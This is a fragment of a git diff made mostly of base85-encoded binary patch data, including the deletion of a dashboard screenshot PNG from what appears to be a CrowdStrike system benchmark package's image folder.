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 MBVX5ib?W?o0CRm1K>z>% diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png deleted file mode 100644 index 76ee9eeca70810658fcc1b4dda6c04d7179f6c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 213390 zcmcG#WmH>FyEjY?O0gE&;?Ne?6eun!#WgKnv=9Qt-L-~83KR{};_hytxI>W=Bv9N5 z9-Md6|9zix?(=+jzdX;Zm9_VtJ$vSwYi2I}CHS?f9ML_hdpI~aL<;iKYB)G}mN+=K zGw$L7HEGo$t-$4mlbYNsoT34mHQ?d4xul9D4o)eY;N18Q@QiOS|JDfyht&D{cVotk z-W~WL&_YAUSw}@#1Zro)ZER|10^@eKu?Je?;D~|U?Tw*UFy|*GFmnrAaTZKHlI4ko zsW^)^zshqJdnwp^3wcjRn7XH`2Gr9EDs0LEmLR$(<}L#CU;}eDe&TLpZR;fBF8=Iq z$0ES}bv5XjgqWkLnTVRS?7vz7PvXzsJ3HHpfIx0;ZrpBs+;)!UARb|1VbF745HBwm z(1Od!!`9i@oy*pV;a?p{!&8xRlo^J|i? z??oVv7BGN{>men0#Qwhjk2*2XH6j0lFo}O^fVl#9|HYYWHvJcOVYUEE-2mQkev2o- z!MP+=ke1YNH{3+KxoeF5?%c&Fd$PnZ-hVPWs01S6A=lMyzWXEo5&xU;VXZ4dwaWs`MM@j_l<^zw4xX2o=9&P<9|5qS~7OZ*7-H z#&GBLs4fL>%jNHJJwDo;$Y%UYYm)kxFJEA@qFj%Gk^kvqly-#8_YzO-FXWj@A~J-_Tg5W%8X6Tcr}?F9`QUb=66TY73+#k#3U|J z3#Hc?*TMQk^3IMujS#BViJX9(3w9a?W@Tl4UUW^(UiI_U;TxQWWqlNn|FSRpKwJYD zY+da{e&Q;BJUN#8M!;|A(ObR~A+K9FDq{2kbTshxuA|+T@ke`!92hlRZk*-^l_a`!V zJZe22#(kqeTra_ZqNypF2??!0z~8Msz~)2p2-sjE(3_xg0_>?PZjzW=tOmph_V*#7{vcXZ?t7z>Jy zCg{hDcv?0n4^=M|VhNtim(%Yq95;Xrqk=1@U`%;kh$>MT7P+9FEC8!#yEo-Mh;_|{96v{GANBJ2@J<=N1-7SqgX6!C2@My=pv z<+A{`hcKILrMN_*&?1)zUDc`a*QpYX?#DmQ*3kL&rMa&n+gnbF5U2`|&{73pW&f*i zKjY@+7CUT9Kj(q6O9c=ZE^$P^d{O!J#>E+r)iOxz5_L7VxoNF`(Xe~C zJJ;PwKUd0-i*(*#UpH2!mDSX1Jfr3ddNudO5Z}2=(ceizu-`*l$Y<7%{`UG7Xr4+4PE`c z(4CUGzDp-=Jd%#RW-0hkoeRe_8jZ5+f8h$wrLbZieO0Qbjq#K|qP8I%59#tvcQ`CE zCrm9RGru|b%KQ9*B7--ZqYj6O0-Y8yCZSWo5kAHt5>(!sFcy9-ZE8_p0>A9_k1qs= zi?^ZbI~+E)+?=j|gFYk=9zX6m9+YTnMWbtUD{tPq>Hg;f-Z5qbLSHR*xJc%_Hl1MB zpSX9VXSX{a3c62W@3|jD5reTiSbfvM9H~wvWd8&%e##n7Eyybn{EtdGx2dVE<+&Uo zc|VaR+@C0`_P+E!4NY4s33?D1$@JWues4z#OGZKQ(!zqRKT&453`Wp&yeXwW;B?9P zq&byj)-QBU+u%cWH8~CuwZQkB9160pcGYElq~`jCy1kqZ4^f4cymB_J+)@y6mO_4d zC0jFoB?%Tp^H_KHmjHtRs#fzpw&$z|Owb+Wlhfm!pJ#T_ltW=KiNp88Mf3xW)b^-) ziou8n4^Ln+IfNKU>p4@MZ9iqZhK&^bqpzN zOXVakDfyxA_<|&Y@mq}L_Gsy?aU*aD(1y19Hr}1c#3)4vhf)XiM|IBIT}(b_*CPL5 zb0T>lS!8~BUD4g0!WEHxe(p{6;%>IehSs&hh~?7z8XqsMs!B{m{duHBQs~EzLj^@e 